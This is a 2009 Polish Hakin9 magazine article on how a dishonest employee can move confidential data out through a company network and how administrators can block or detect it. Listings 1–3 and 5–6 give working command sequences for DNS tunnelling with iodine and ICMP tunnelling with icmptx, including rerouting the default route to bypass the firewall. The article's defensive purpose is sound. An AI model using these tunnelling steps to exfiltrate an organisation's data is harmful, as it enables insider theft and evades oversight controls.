2009 11 Wykradanie informacji przez sieć firmy

background image

36

HAKIN9

ATAK

11/2009

P

rzeciętny nieuczciwy pracownik ma
do dyspozycji wiele sposobów na
wyprowadzenie z firmy powierzonych

mu, często poufnych informacji. Pomijam
tutaj fakt zdobycia dostępu do tych informacji.
Zakładam, że pracownik taki dostęp
posiada bo albo został uprawniony by z nich
korzystać, albo uzyskał do nich dostęp w inny,
zapewne nieuczciwy sposób.

Sposoby wyprowadzenia (z premedytacją

używam tego właśnie słowa) informacji
można podzielić na fizyczne wyniesienie
informacji z siedziby firmy oraz na logiczne
wysłanie z wykorzystaniem komunikacji
sieciowej. Jest jeszcze trzecia możliwość,
mocno uzależniona od typu i rozmiaru
informacji, a mianowicie ustne jej przekazanie
przez nieuczciwego pracownika.

W przypadku fizycznego wyniesienia

informacji, pracownik ma do dyspozycji
wiele nośników danych, jakie może
wykorzystać. Mogą to być np.: płyty CD czy
DVD, wszelkiego rodzaju nośniki danych
podłączane do portu USB (przenośne dyski,
pamięci typu pendrive, aparaty fotograficzne,
telefony komórkowe, karty pamięci,
dowolne urządzenia posiadające możliwą
do wykorzystania pamięć i możliwość
podłączenia do komputera), czy wreszcie
kartki papieru, na których pewne informacje
można po prostu wydrukować. Nie będę się
tutaj zajmował sposobami ochrony przed

MARCIN KLAMRA

Z ARTYKUŁU

DOWIESZ SIĘ

w jaki sposób wyprowadzić

dane z firmy nawet przez

dobrze zabezpieczoną sieć,

w jaki sposób chronić się przed

wykradaniem informacji przez

pracownika.

CO POWINIENEŚ

WIEDZIEĆ

zasada działania sieci

komputerowych,

jak działają podstawowe usługi

i protokoły sieciowe (IP, DNS,

ICMP),

czym jest maskowanie

adresów IP (maskarada).

fizycznym wyniesieniem informacji przez
pracownika. Wydaje się, iż najprostszymi
metodami będzie uniemożliwienie korzystania
z wszelkich przenośnych nośników danych
bez odpowiedniej autoryzacji, pełny
monitoring korzystania z tego typu nośników,
czy wreszcie weryfikacja wynoszonych z
siedziby firmy rzeczy (choć przeszukiwanie
kieszeni pracownika godzi w jego
podstawowe prawa).

Ustne przekazanie informacji jest możliwe

jedynie w przypadku informacji niewielkich.
Trudno wyobrazić sobie, aby ktoś był w stanie
np.: nauczyć się na pamięć kodu źródłowego
jakiegoś oprogramowania i w ten sposób
wyniósł tajemnicę firmy. Nie twierdzę, że jest
to niemożliwe (można w końcu wynosić w
ten sposób po kilka linii kodu dziennie), ale
raczej mało skuteczne i długotrwałe. Ochronę
przed tego typu wyciekiem informacji można
realizować tylko na dwa sposoby. Pierwszym
jest znane z innych ustrojów zamykanie ludzi
na terenie zakładu bez kontaktu ze światem
zewnętrznym do czasu zrealizowania zadania.
Drugi, znacznie bardziej cywilizowany,
polega na zdobyciu lojalności pracownika,
gdzie skutecznym czynnikiem motywującym
zapewne mogłaby być wysokość uposażenia.
Zresztą jest to chyba najskuteczniejszy
sposób ochrony.

Logiczne wysłanie informacji z

wykorzystaniem sieci komputerowej

Stopień trudności

Wykradanie

informacji

przez sieć firmy

Nieuczciwy pracownik może wykorzystać szereg różnych

metod by wyprowadzić poufną informację firmową. Postaram

się przedstawić tutaj kilka z nich, wykorzystujących sieć

firmową i o ile jest to w ogóle możliwe, sposoby ochrony.

background image

37

HAKIN9

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

11/2009

może odbyć się przy pomocy sieci
firmowej lub przy pomocy innej sieci,
niekontrolowanej przez administratorów
firmy. Nieuczciwy pracownik może
wykorzystać inną sieć na dwa sposoby.
Może być to sieć bezprzewodowa, która
swoim zasięgiem obejmuje lokalizację
firmy. Pracownik może do takiej sieci
się podłączyć oprócz standardowego
połączenia do sieci firmowej.
Odpowiednio skonfigurowany system
operacyjny z odpowiednio dobranymi
prawami dla danego użytkownika nie
powinien do takiej sytuacji dopuścić.
Kolejnym przypadkiem innej sieci może
być sieć, z której pracownik korzysta
w przypadku podróży służbowej (na
lotnisku, w hotelu). Wtedy z poziomu
własnego komputera zestawia
zapewne kanał VPN do sieci firmy i
uzyskuje dostęp do danych firmowych.
Kopiuje je na swój komputer (o ile nie
znajdowały się tam wcześniej) i po
zerwaniu połączenia VPN przesyła dane
z wykorzystaniem dostępnej sieci w
dowolne miejsce.

Pojawia się tutaj problem

wykorzystania służbowego komputera
w podróży. Chodzi po pierwsze
o ewentualne dane, jakie na tym
komputerze mogą się znajdować, a po

drugie dostęp do danych w siedzibie
firmy z wykorzystaniem kanałów VPN.
Nawet jeśli wdrożony zostanie system
ochrony przed przesyłaniem danych
w innej sieci to nieuczciwy pracownik
może próbować w inny sposób (fizyczny)
wykraść dane, np.: wykonać fotografie
ekranu komputera, czy próbować np.:
wykręcić dysk twardy swojego komputera
(co akurat może zostać zauważone).

Zajmiemy się jednak sytuacją

wykradania informacji przy
wykorzystaniu sieci firmowej, do
której w ramach przyznanych
uprawnień, pracownik ma pełnoprawny
dostęp. Najprostszym sposobem
zabezpieczenia się przed wykradaniem
informacji przy użyciu sieci jest zupełne
ograniczenie dostępu do niej. Nie jest
to jednak najczęściej możliwe. Trudno
jest sobie wyobrazić pracę bez dostępu
do poczty elektronicznej czy serwisów
informacyjnych. Często pracownicy w
ramach swoich obowiązków muszą
korzystać także z innych usług takich
jak FTP, telefonia IP, komunikatory
internetowe. Ponadto, aby działały m.in.
w/w usługi konieczne jest korzystanie
z innych mechanizmów sieciowych jak
DNS, czy ICMP. Nieuczciwy pracownik
może wykorzystać dostępne mu usługi,

niezbędne do wykonywania obowiązków
służbowych w celu wyprowadzenia
informacji firmowej.

Najprostszą metodą wykradania

informacji będzie zapewne
wykorzystanie standardowych usług
dostępnych pracownikowi w codziennej
pracy. Mam tu przede wszystkim na
myśli usługi takie jak FTP, HTTP, HTTPS,
SMTP. Znacznie gorzej wygląda sytuacja
z innymi, szyfrowanymi protokołami
transmisji danych, jak np.: SSH i
wykorzystanie narzędzi scp, czy sftp.

W przypadku usługi FTP sprawa

wydaje się być stosunkowo prosta. Aby
uniemożliwić pracownikowi wysyłanie
danych przy użyciu protokołu FTP
konieczne jest zablokowanie polecenia
put, a co za tym idzie komendy STOR
protokołu FTP. Ten prosty zabieg
pozwala na pobieranie danych, lecz
uniemożliwia ich wysyłanie. Inną dobrą
praktyką będzie ograniczenie dostępu
FTP tylko do wybranych serwerów,
z których pracownik może w trakcie
pracy korzystać. Najczęściej lista takich
serwerów zawierać będzie adresy
kontrahentów czy firm współpracujących.

Rysunek 1.

Określanie dozwolonych komend FTP

Rysunek 2.

Definicja polityki z

wykorzystaniem adresów IP

Rysunek 3.

Definicja polityki z

wykorzystaniem tożsamości użytkowników

background image

ATAK

38

HAKIN9 11/2009

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

39

HAKIN9

11/2009

Konfiguracja Proxy FTP dla urządzeń

firmy WatchGuard (sposoby ochrony
pokaże na ich przykładzie oraz z
wykorzystaniem narzędzi dla systemu
Linux) jest dziecinnie prosta. Polega
na dodaniu odpowiedniej polityki typu
FTP-proxy, a następnie zdefiniowaniu
m.in. listy adresów dozwolonych
serwerów oraz listy komend FTP, jakie
użytkownicy mogą wykonywać. Rysunek
1. prezentuje sposób określania
dozwolonych komend protokołu FTP.

W systemach linuksowych możliwe

jest zastosowanie narzędzia FTP-proxy.
Konfiguracja tego proxy mieści się w
pliku /etc/ftp-proxy.conf. Ograniczenie
metod protokołu odbywa się poprzez
dodanie w pliku konfiguracyjnym linii
określającej dopuszczalne metody, na
przykład: ValidCommands ABOR, PASS,
PASV, USER, MODE, QUIT, RETR, SYST.

Protokół HTTP stanowi większe

wyzwanie niż protokół FTP. Przede
wszystkim ze względu na mnogość
dostępnych serwisów, typów informacji
jakie mogą być pobierane, czy
niejednoznaczność wykorzystania
podstawowych metod protokołu. O ile
w protokole FTP metoda

GET

(czyli

komenda

RETR

) jednoznacznie służy do

pobrania danych, o tyle w przypadku
HTTP nie można jednoznacznie
powiedzieć, że polecenie

GET

służy

do pobrania danych. Wykonując
metodę

GET

można bowiem w adresie

URL przesłać jakieś dane. Podobnie
sytuacja wygląda w przypadku
metody

POST

. Nie da się więc w prosty

sposób zablokować) kilku metod, by
uniemożliwić wysyłanie informacji.

Konieczne jest stosowanie innych

zabiegów w celu ochrony przed

wysyłaniem danych. Po pierwsze, o
ile to możliwe, należy ograniczyć zbiór
dostępnych dla użytkownika adresów
URL. Jeżeli nie jest to możliwe, trzeba
wykorzystać filtr zawartości stron
WWW (w przypadku urządzeń firmy
WatchGuard będzie to WebBlocker,
w przypadku systemów linuksowych
może to być DansGuardian). Pozwoli
on na ograniczenie dostępu do witryn
o tematyce niezwiązanej z typem
działalności firmy. Prawdopodobnie
najważniejszą kategorią jaką w tego
typu filtrach można się posługiwać
jest kategoria Uncategorized. Oznacza
ona wszystkie witryny, które nie zostały
sklasyfikowane. Najczęściej są to witryny,
które istnieją od bardzo krótkiego czasu.
Tymczasowa witryna stworzona na
potrzeby wyprowadzenia informacji z
firmy najprawdopodobniej znajdzie się
właśnie w tej kategorii. Kolejny sposób to
określanie dozwolonych typów danych
jakie mogą być przy użyciu protokołu
HTTP przesyłane.

Niestety wszystkie te zabiegi

mogą okazać się mało skuteczne
i potencjalny nieuczciwy pracownik
będzie w stanie wyprowadzić poufne
informacje z firmy. Ostatnim sposobem
ochrony będzie monitorowanie
każdej transmisji wykonywanej przez
pracownika (opisane dalej).

Protokół HTTPS obecnie można

traktować na równi z protokołem
HTTP. Jest on w końcu niczym innym
jak szyfrowanym protokołem HTTP.
Pojawia się oczywiście problem analizy
zawartości danych przesyłanych w
HTTPS, jako że są one zaszyfrowane.
Na szczęście istnieją rozwiązania typu
HTTPS-proxy, które dają dokładnie
takie same możliwości konfiguracji jak
w przypadku proxy HTTP. W przypadku
rozwiązań firmy WatchGuard proxy
HTTPS korzysta nawet z dokładnie
tych samych szablonów konfiguracji
co Proxy HTTP. W przypadku rozwiązań
linux’owych istnieje możliwość
skonfigurowania SQUID’a do filtrowania
protokołu HTTPS (krótki opis, znajduje
się na stronie WWW, adres w Ramce W
Sieci
).

Filtrowanie ruchu HTTPS jest

oczywiście sprzeczne z ideą samego

Rysunek 5.

Tunelowanie ruchu w komunikatach DNS

Rysunek 4.

Raport aktywności użytkownika

background image

ATAK

38

HAKIN9 11/2009

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

39

HAKIN9

11/2009

protokołu HTTPS. Protokół został
przecież wprowadzony właśnie po to
by w sposób bezpieczny przesyłać
dane za pomocą protokołu HTTP. Proxy
filtrujące HTTPS wykorzystuje zasadę
ataku man-in-the-middle, co w tym
przypadku przekłada się na decryption-
in-the-middle
. Połączenie HTTPS jest
przerywane przez proxy pośredniczące,
rozszyfrowane, filtrowane, a następnie
zestawiane z docelowym serwerem.
Mamy więc do czynienia de facto
z dwoma połączeniami HTTPS.
Taki sposób filtrowania generuje
oczywiście u użytkownika, który
zainicjował połączenie, informacje
o nieprawidłowym certyfikacie
serwera docelowego. Gdyby jednak
certyfikat wykorzystywany przez proxy
pośredniczące zaimportować do
przeglądarki użytkownika, wtedy żaden
komunikat o niebezpieczeństwie się nie
pojawi. Oczywiście użytkownik powinien
zostać poinformowany, że ruch HTTPS
jest filtrowany.

Podobne trudności filtrowania

treści pojawiają się w protokole SMTP.
Trudno bowiem z góry ograniczyć
użytkownikowi listę adresów pocztowych
do jakich może wysyłać wiadomości.
Można jedynie ograniczać wielkość
wiadomości, czy typy załączników.
Jedynym sensownym zabezpieczeniem
wydaje się przechowywanie kopii każdej
informacji wysyłanej przez pracowników
w celu ewentualnej późniejszej
weryfikacji. By było to możliwe
konieczne jest ograniczenie serwerów
SMTP, przy użyciu których użytkownicy
mogą wysyłać wiadomości pocztowe.

Najważniejszym sposobem

zabezpieczenia będzie zatem
monitorowanie i zapisywanie danych
o każdej przeprowadzanej transmisji.
Pozwala to na analizę tego, co wykonuje
dany użytkownik w Sieci. Jest to metoda
ochrony, która dopiero po zaistnieniu
faktu wyprowadzenia informacji może
pozwolić na jego stwierdzenie. Nie
ochroni przed utratą cennych danych,
ale informuje o utracie danych oraz
osobie, która je wyprowadziła. By
takie monitorowanie było skuteczne,
konieczne jest wprowadzenie
autentykacji użytkowników pragnących

otrzymać dostęp do zasobów
sieciowych. Pozwoli to na definiowanie
polityk bezpieczeństwa bazując
na tożsamości użytkowników (na
Rysunku 2. przedstawione są polityki
zdefiniowane z wykorzystaniem
adresów IP, na Rysunku 3. z
wykorzystaniem tożsamości
użytkowników). Autentykacja taka wcale
nie musi być uciążliwa. Korzystając z
mechanizmów Single Sign On może
ona być zupełnie transparentna dla
użytkownika.

Przykładowo produkty firmy

WatchGuard oferują tego typu
rozwiązania w połączeniu z Active

Directory. Filozofia działania całego
systemu transparentnej autentykacji
jest bardzo prosta. Użytkownik
rozpoczynając pracę, loguje się na
swoim komputerze wykorzystując do
tego celu konto stworzone w AD. W
momencie kiedy z jego komputera
generowany jest ruch sieciowy
przechodzący przez firewall następuje
weryfikacja tożsamości użytkownika
pracującego na komputerze o danym
adresie IP. Firewall dokonuje zapytania
do Authentication Gateway (jest to
oprogramowanie zainstalowane na
dowolnym komputerze należącym do
AD) o nazwę użytkownika oraz grup,

Rysunek 6.

Określanie dozwolonych typów rekordów DNS

Rysunek 7.

Tunelowanie ruchu w komunikatach ICMP

background image

ATAK

40

HAKIN9 11/2009

41

HAKIN9

11/2009

do których należy zalogowany pod
danym adresem IP pracownik. Po
otrzymaniu odpowiedzi możliwa jest
weryfikacja jego uprawnień, bazując
na tożsamości oraz umieszczeniu
w logach dotyczących działalności
użytkownika nie adresu IP komputera, a
nazwy użytkownika.

Włączenie logowania wszelkiej

działalności sieciowej pozwoli na
późniejsze generowanie raportów,
czy zestawień generowanego ruchu
sieciowego, a co za tym idzie pozwoli
na stwierdzenie co dany użytkownik (i
kiedy) przesyłał w Sieci. Zebrane w ten

sposób informacje mogą następnie
posłużyć jako materiał dowodowy
przy ewentualnym stawianiu zarzutów
o wykradanie tajemnicy firmowej.
Na Rysunku 4. przedstawiony jest
fragment przykładowego raportu
wygenerowanego z wykorzystaniem
narzędzia WatchGuard Report Manager,
prezentujący wszystkie adresy URL
zasobów, jakie użytkownik pobrał.

Niestety, jak widać z powyższych

rozważań, ochrona informacji firmowej
jest niezwykle trudna. Właściwie trudno
ochronić firmę przed nieuczciwym
pracownikiem wykorzystującym

standardowe protokoły sieciowe.
Sytuacja staje się jeszcze bardziej
beznadziejna, gdy do wyprowadzenia
informacji wykorzystany zostanie
protokół, który pozornie jest bezpieczny,
gdyż nie służy do przesyłania danych,
nie jest protokołem transmisji danych,
a jedynie protokołem pomocniczym w
transmisji. Chodzi tutaj o tunelowanie
ruchu IP w takich protokołach jak DNS
czy ICMP. Poniżej zaprezentowany
został sposób skonfigurowania oraz
wykorzystania tego typu rozwiązania do
przesyłania informacji oraz ewentualne
metody obrony.

Zanim jednak do tego przejdziemy

należy zauważyć jeszcze jeden
problem. Istnieje możliwość zestawienia
tunelu VPN (choćby przy użyciu
oprogramowania OpenVPN) na
dowolnym porcie. Załóżmy sytuację,
w której dopuszczalne jest wysyłanie
zapytań DNS do zewnętrznych
serwerów. By było to możliwe konieczne
jest wysyłanie ruchu sieciowego na
port 53. Nic nie stoi na przeszkodzie, by
właśnie na tym porcie skonfigurować
serwer usługi OpenVPN. Nieuczciwy
pracownik będzie miał potencjalną
możliwość zestawienia kanału VPN
korzystając z odblokowanego portu
(o ile oczywiście będzie posiadał
odpowiednie prawa by zainstalować
aplikację OpenVPN na swoim firmowym
komputerze). Na szczęście rozwiązanie
tego problemu jest stosunkowo proste.
Wystarczy na przykładowym 53 porcie
uruchomić na firewallu serwer Proxy
DNS, który m.in. analizował będzie
zgodność ruchu przesyłanego na
tym porcie ze standardem. Próba
zestawienia kanału VPN w tym
przypadku nie powiedzie się.

Tunelowanie ruchu IP w protokole

DNS możliwe jest z wykorzystaniem
aplikacji iodine, czy NSTX. Aplikacje te
zostały stworzone do zastosowania w
płatnych sieciach WiFi, które pozwalają
na wysyłanie zapytań DNS, ale nie
wypuszczają innego ruchu, zanim
użytkownik nie dokona autentykacji.
Sieci takie często spotykane są
w hotelach czy na lotniskach. Ten
sam mechanizm można doskonale
wykorzystać do wyprowadzenia

Listing 1.

Tworzenie podstrefy tunel.moja.domena

$

ORIGIN

tunel

.

moja

.

domena

.

@

IN

NS

ns

.

tunel

.

moja

.

domena

.

ns

IN

A

xxx

.

xxx

.

xxx

.

xxx

Listing 2.

Polecenia konfigurujące komputer 4

iodined

-

f

192.168.50.1

ns

.

tunel

.

moja

.

domena

echo

1

> /

proc

/

sys

/

net

/

ipv4

/

ip_forward

iptables

-

A

POSTROUTING

-

t

nat

-

s

192.168.50.0

/

24

-

j

MASQUERADE

Listing 3.

Polecenia konfigurujące komputer 1

iodine

-

f

dns

.

moja

.

firma

ns

.

tunel

.

moja

.

domena

route

del

default

route

add

-

host

dns

.

moja

.

firma

gw

192.168.1.1

dev

eth0

route

add

default

gw

192.168.50.1

dev

tun0

Listing 4.

Blokowanie wybranych typów rekordów z wykorzystaniem pdnsd

neg

{

ttl

=

86400

;

name

=

"moja.domena."

;

types

=

TXT

,

NULL

;

}

Listing 5.

Polecenia konfigurujące serwer icmptx

icmptx

-

d

192.168.50.1

ifconfig

tun0

192.168.50.1

netmask

255.255.255.0

up

echo

"1"

> /

proc

/

sys

/

net

/

ipv4

/

ip_forward

iptables

-

A

POSTROUTING

-

t

nat

-

s

192.168.50.0

/

24

-

j

MASQUERADE

Listing 6.

Polecenia konfigurujące komputer 1

icmptx

-

c

xxx

.

xxx

.

xxx

.

xxx

ifconfig

tun0

192.168.50.2

netmask

255.255.255.0

up

route

del

default

aoute

add

-

host

xxx

.

xxx

.

xxx

.

xxx

gw

192.168.111.1

dev

eth0

route

add

default

gw

192.168.50.1

dev

tun0

background image

ATAK

40

HAKIN9 11/2009

41

HAKIN9

11/2009

danych z firmy. Mechanizm ten ma istotną wadę
– stosunkowo niską przepustowość. Nie zawsze jednak
ilość wyprowadzanych danych musi być duża i taki sposób
komunikacji może okazać się wystarczający.

Na Rysunku 5. schematycznie przedstawiona została

zasada działania tunelowania ruchu IP w komunikatach
DNS. Na komputerze klienta (komputer 1) cały ruch
tunelowany jest w zapytaniach DNS kierowanych do
dowolnego serwera (najczęściej firmowego lub serwera, z
którego korzysta sieć firmowa, gdyż tego typu zachowanie
będzie najbardziej naturalne i prawdopodobnie jedyne
dopuszczalne – komputer 2). Następnie korzystając z
mechanizmu DNS komunikaty te przesyłane są do serwera
DNS kontrolowanego przez agresora (komputer 3), który
posiada zdefiniowaną strefę, odsyłającą do komputera, na
którym zainstalowana jest serwer aplikacji (komputer 4).
Tam następuje wyłuskanie datagramu IP z komunikatu DNS
i przesłanie go do sieci Internet (po dokonaniu maskarady).
Dane przesłane w odpowiedzi wędrują tą samą drogą jako
odpowiedzi na wysłany komunikat DNS.

Na serwerze DNS kontrolowanym przez agresora

(komputer 3) konieczne jest stworzenie dodatkowej
podstrefy. Na Listingu 1. zaprezentowane są linie
konfiguracyjne (dla serwera BIND), jakie należy dopisać
do pliku konfiguracyjnego strefy moja.domena. Nowa
podstrefa konieczna jest by umieścić w niej fałszywy serwer
DNS (komputer 4). W miejsce znaków x należy wpisać
rzeczywisty adres IP komputera 4.

Na fałszywym serwerze DNS (komputer 4) konieczne

jest uruchomienie aplikacji nasłuchującej na porcie 53,
podszywającej się pod serwer DNS. W rzeczywistości
aplikacja ta odbiera zapytania DNS i wyłuskuje z nich
datagramy IP. Następnie datagramy te przesyłane są do
sieci Internet z wykorzystaniem mechanizmu maskarady
(translacja źródłowego adresu IP na adres komputera
4). Po otrzymaniu odpowiedzi jest ona przesyłana w
postaci odpowiedzi DNS do komputera1. Na Listingu 2.
przedstawione są wszystkie polecenia, jakie należy wykonać
by przygotować komputer 4 do odbierania i przesyłania
datagramów.

Na komputerze nieuczciwego pracownika konieczne

jest uruchomienie aplikacji enkapsulującej datagramy
IP w komunikatach DNS oraz odpowiednie ustawienie
rutingu. W ramach konfigurowania rutingu konieczne jest
usuniecie wpisu domyślnej trasy, określenie trasy do
serwera DSN firmy (komputer 2) oraz określenie domyślnej
trasy prowadzącej przez interfejs tun0 – wirtualny interfejs
sieciowy wykorzystywany w tunelowaniu. Przyjąłem
tutaj założenie, że w firmie wykorzystywana jest sieć
prywatna 192.168.1.0/24. Wirtualne połączenie sieciowe
pomiędzy komputerem 1, a komputerem 4 wykorzystuje
sieć 192.168.50.0/24. Na Listingu 3. wyszczególnione są
wszystkie operacje, jakie należy wykonać na komputerze
1, by umożliwić przesyłanie dowolnych danych w
komunikatach DNS.

background image

ATAK

42

HAKIN9 11/2009

Konieczność wprowadzenia zmian

w tablicy rutingu wymaga posiadania
odpowiednich praw dostępu. Dzięki
temu metoda ta jest mało skuteczna w
przypadku dobrze skonfigurowanego
systemu operacyjnego i restrykcyjnie
określonych praw użytkownika. Gdyby
nie ten fakt ochrona przed tego
typu transmisją sprowadzałaby się
do obserwacji ilości generowanych
zapytań DNS przez danego pracownika.
Taki ruch jest bowiem zgodny z RFC.
Jeśli zapytań jest dużo i są to zapytania
o tę samą nazwę domenową, na pewno
oznacza to nietypowe zachowanie, a
jako takie powinno zostać uznane za
podejrzane.

Ponadto z wykorzystaniem

serwera proxy DNS należy ograniczać
dopuszczalne typy rekordów o jakie
następuje zapytanie. Rozwiązanie iodine
wykorzystuje typ rekordu NULL (wartość
10), podczas gdy NSTX korzysta z typu
TXT (wartość 16).

W przypadku rozwiązań firmy

WatchGuard do ochrony przed tego
typu sposobem wykradania informacji
można wykorzystać filtr DNS-proxy.
Pozwala on na określenie typów
rekordów jakie mogą pojawiać się w
przesyłanych komunikatach DNS. By
uniemożliwić korzystanie z w/w narzędzi
konieczne będzie wyblokowanie
rekordów TXT (NULL jest wyblokowany
domyślnie). Konfigurację taką prezentuje
Rysunek 6.

W przypadku systemów linuksowych

konieczne jest wykorzystanie
dowolnego serwera proxy np.: pdnsd. W
pliku konfiguracyjnym (/etc/pdnsd.conf )
tego proxy istnieje możliwość określenia
jakie rekordy mają być cacheowane
negatywnie. Skutkuje to pustą lub
błędną odpowiedzią, co doprowadza
do zerwania komunikacji. Na Listingu 4.

przedstawiony jest wpis pozwalający na
wyblokowanie odpowiedzi dla domeny
moja.domena. dla rekordów typu TXT
oraz NULL.

Podobną rolę jak narzędzia

iodine oraz NSTX spełnia icmptx.
Jest to oprogramowanie służące do
tunelowania ruchu IP w komunikatach
ICMP echo-request oraz echo-
reply
. Na Rysunku 7. schematycznie
przedstawiona została zasada działania
tego mechanizmu. Na komputerze
agresora (komputer 1) cały generowany
ruch jest tunelowany w komunikatach
echo-request, kierowanych do
komputera 2. Tam datagramy IP są
przesyłane do sieci Internet. Odpowiedź
przesyłana jest z wykorzystaniem
komunikatów echo-reply. Na serwerze
konieczne jest uruchomienie usługi
icmptx oraz skonfigurowanie możliwości
przesyłania za jego pomocą danych do
sieci Internet (przekazywanie pakietów,
maskowanie). Wszystkie operacje, jakie
konieczne są do uruchomienia serwera
usług icmptx, przedstawione są na
Listingu 5. Do komunikacji pomiędzy
komputerami 1 i 2 wykorzystane
zostaną wirtualne karty sieciowe oraz
podsieć 192.168.50.0/24, gdzie adres
192.168.50.1 zostanie wykorzystany w
serwerze jako gateway tej wirtualnej
sieci.

Na komputerze klienta konieczne

jest uruchomienie aplikacji icmptx
oraz odpowiednie ustawienie rutingu.
Operacje te (Listing 6) są niemal
identyczne, jak miało to miejsce
w przypadku tunelowania ruchu z
wykorzystaniem DNS. W miejsce
znaków x należy wpisać adres
IP serwera icmptx. Zakładam, że
komputer użytkownika pracuje w sieci
192.168.111.0/24 z adresem gateway
192.168..111.1.

Tunelowanie ruchu w pakietach

ICMP jest możliwe tylko w tych
sytuacjach, gdzie ruch ICMP jest
wypuszczany z sieci firmowej. Podobnie
jak w przypadku tunelowania ruchu
z wykorzystaniem DNS konieczne
jest posiadanie przez użytkownika
odpowiednich praw do skonfigurowania
tablicy rutingu.

Ochrona przed tego typu próbami

wyprowadzenia informacji jest prosta.
Wystarczy uniemożliwić pracownikom
wysyłanie komunikatów ICMP do sieci
zewnętrznej. Najczęściej pracownicy
niezależnie do swoich obowiązków nie
mają potrzeby korzystania z protokołu
ICMP. Dobrym sposobem ochrony
może być także ograniczenie rozmiaru
komunikatów ICMP, tak aby uniemożliwić
przesyłanie nagłówka IP w zawartości
komunikatu.

Podsumowanie

Nieuczciwy pracownik, jak widać, ma
szereg możliwości na wyprowadzenie
informacji firmowej. Wydaje się, że
zabezpieczenie się przed utratą danych
w sposób techniczny jest niezwykle
trudne. Wynika to z faktu mnogości
sposobów transmisji danych oraz
powszechnego wykorzystywania
usług sieciowych w codziennej pracy.
Takie zabezpieczenie powinno być
wdrożone wielowarstwowo (określenie
praw w systemie operacyjnym, polityk
bezpieczeństwa na urządzeniach
filtrujących ruch, monitorowanie
transmisji sieciowych) i na pewno
sprawi wiele utrudnień. Być może (jak
wspomniałem na początku) najlepszym
sposobem jest zyskanie lojalności
pracownika.

Marcin Klamra

Specjalista ds. bezpieczeństwa firmy CCNS

SA, asystent w Instytucie Teleinformatyki

Politechniki Krakowskiej. Od 1999 roku zajmuje

się zagadnieniami administracji systemów

komputerowych i bezpieczeństwem w sieciach

komputerowych. Na stałe związany z firmą

CCNS SA, w której zajmuje się rozwiązaniami

bezpieczeństwa sieciowego. Jako Certyfikowany

Trener WatchGuard Inc. prowadzi szkolenia

w Autoryzowanym Centrum Szkoleniowym

WatchGuard, stworzonym przez firmę CCNS

SA. Swoją wiedzę pogłębia uczestnicząc jako

asystent naukowy w pracach badawczych Instytutu

Teleinformatyki Politechniki Krakowskiej.

Kontakt z autorem: mklamra@ccns.pl.

W Sieci

• http://thomer.com/howtos/nstx.html,
• http://thomer.com/icmptx/,
• http://www.squid-cache.org/,
• http://wiki.squid-cache.org/Features/SslBump,
• http://code.kryo.se/iodine/,
• http://members.home.nl/p.a.rombouts/pdnsd/index.html.


Wyszukiwarka

Podobne podstrony:
utk transmisja informacji przez siec telekomunikacyjna
2009 11 Informatyka śledcza
2009 11 Informatyka śledcza
2009-11-05, pedagogium, wykłady, Teoria edukacji obronnej i bezpieczeństwa publicznego
2009 11 17 arduino basics
162 Omow sposoby przetwarzania informacji przez sieci nerwowe
DEgz2-2009 rozw, AA informatyka - studia, cwiczenia i egzaminy
Sieci Komputerowe, inf sc w2, Przez sieć komputerową rozumiemy wszystko to, co umożliwia komputerom
2009.11.29 Podstawy żywienia 4-6 lat(S)
23[1][1][1].11, Teoria informacji - zajmuje się analizą procesów wytwarzania , przenoszenia , odbior
ZW 2009-11 03
2009 11 08 5 Finanse NBP,BFG, PBid 26674 ppt
11 Wedrowka Izraelitow przez pustynieid 12662
Podstawy sieci Sieć firmy NOVELL (2)
2009-11-19, pedagogium, wykłady, Teoria edukacji obronnej i bezpieczeństwa publicznego
2009 11 03
2009 11 Klasy cech w programowaniu generycznym [Programowanie C C ]

więcej podobnych podstron